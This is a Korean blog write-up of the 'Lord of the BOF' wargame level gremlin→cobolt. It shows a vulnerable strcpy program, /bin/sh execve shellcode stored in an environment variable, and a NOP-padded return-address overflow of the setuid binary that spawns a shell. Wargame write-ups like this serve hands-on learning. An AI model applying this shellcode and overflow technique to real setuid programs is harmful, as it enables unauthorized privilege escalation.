/* 1. gremlin으로 로그인 하고 난 뒤 내용물을 봅시다.*/
[gremlin@localhost gremlin]$ ls -al
total 156
drwx------ 2 gremlin gremlin 4096 Oct 26 16:06 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw------- 1 gremlin gremlin 8903 Oct 26 11:39 .bash_history
-rw-r--r-- 1 gremlin gremlin 24 Feb 26 2010 .bash_logout
-rw-r--r-- 1 gremlin gremlin 230 Feb 26 2010 .bash_profile
-rw-r--r-- 1 gremlin gremlin 124 Feb 26 2010 .bashrc
-rwxr-xr-x 1 gremlin gremlin 333 Feb 26 2010 .emacs
-rw-r--r-- 1 gremlin gremlin 3394 Feb 26 2010 .screenrc
-rwxrwxr-x 1 gremlin gremlin 11883 Oct 26 03:31 a.out
-rw-rw-r-- 1 gremlin gremlin 291 Oct 25 22:40 cobalt.c
-rwsr-sr-x 1 cobolt cobolt 11970 Feb 26 2010 cobolt
-rw-r--r-- 1 gremlin gremlin 291 Mar 29 2010 cobolt.c
-rw------- 1 gremlin gremlin 61440 Oct 25 22:41 core
-rwxrwxr-x 1 gremlin gremlin 11842 Oct 26 16:06 getenv
-rw-rw-r-- 1 gremlin gremlin 97 Oct 26 16:05 getenv.c
-rw-rw-r-- 1 gremlin gremlin 143 Oct 26 03:31 whereis.c
COBOLT:
[gremlin@localhost gremlin]$ cat cobolt.c
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
/*버퍼가 작습니다. 여기서 메모리는 '버퍼 16바이트, sfp 4바이트, 리턴어드레스 4바이트'로 이루어져있다고 가정할수 있습니다.*/
/* 2. export명령어로 환경변수를 만듭니다. 여기서 print문도 꼭 포함하셔야 합니다*/
[gremlin@localhost gremlin]$ export GREMLIN=`perl -e 'print"\x6a\x0b\x58\x99\x5
2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
/* 3. env명령어로 환경변수가 잘 들어갔는지 봅니다.*/
[gremlin@localhost gremlin]$ env
PWD=/home/gremlin
REMOTEHOST=192.168.0.1
HOSTNAME=localhost.localdomain
LESSOPEN=|/usr/bin/lesspipe.sh %s
USER=gremlin
LS_COLORS=
MACHTYPE=i386-redhat-linux-gnu
MAIL=/var/spool/mail/gremlin
INPUTRC=/etc/inputrc
BASH_ENV=/home/gremlin/.bashrc
GREMLIN=j
X셊h//shh/bin됥RS됣? //굿
LANG=en_US
LOGNAME=gremlin
SHLVL=2
USERNAME=
SHELL=/bin/bash
HOSTTYPE=i386
HISTSIZE=1000
OSTYPE=linux-gnu
TERM=ansi
HOME=/home/gremlin
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gremlin/bin
COBOLT=j
X셊h//shh/bin됥RS됣?
_=/usr/bin/env
/* 4. 환경변수의 주소를 알아냅니다.*/
[gremlin@localhost gremlin]$ cat getenv.c
#include <stdio.h>
int main(int argc, char *argv[]){
printf("%p\n",getenv(argv[1]));
return 0;
}
[gremlin@localhost gremlin]$ ./getenv GREMLIN
0xbffffee7 //이게 리턴어드레스가 됩니다
/* 5. 필요한 양의 nop를 넣고 리턴어드레스를 넣습니다.*/
[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print"\x90"x20, "\xe7\xfe\xff\x
bf"'`
릱릱릱릱릱릱릱릱릱릱澳
풺ash$ my-pass
역시 이번에도 달고나 문서가 많은 도움이 되었습니다.
기본은 조금씩 감이 잡히네요. 그래서 그런지 지난번보다는 덜 헤맨것같아요.
NOTES:
GREMLIN= 0xbffffee7
"\xe7\xfe\xff\xbf"'`
buffer=16
nop 20, ret 4
'STUDY > Lord of the BOF' 카테고리의 다른 글
wolfman->darkelf (0) | 2013.11.21 |
---|---|
orc->wolfman (0) | 2013.11.21 |
goblin->orc (0) | 2013.11.20 |
cobolt->goblin (0) | 2013.11.01 |
gate->gremlin (0) | 2013.10.27 |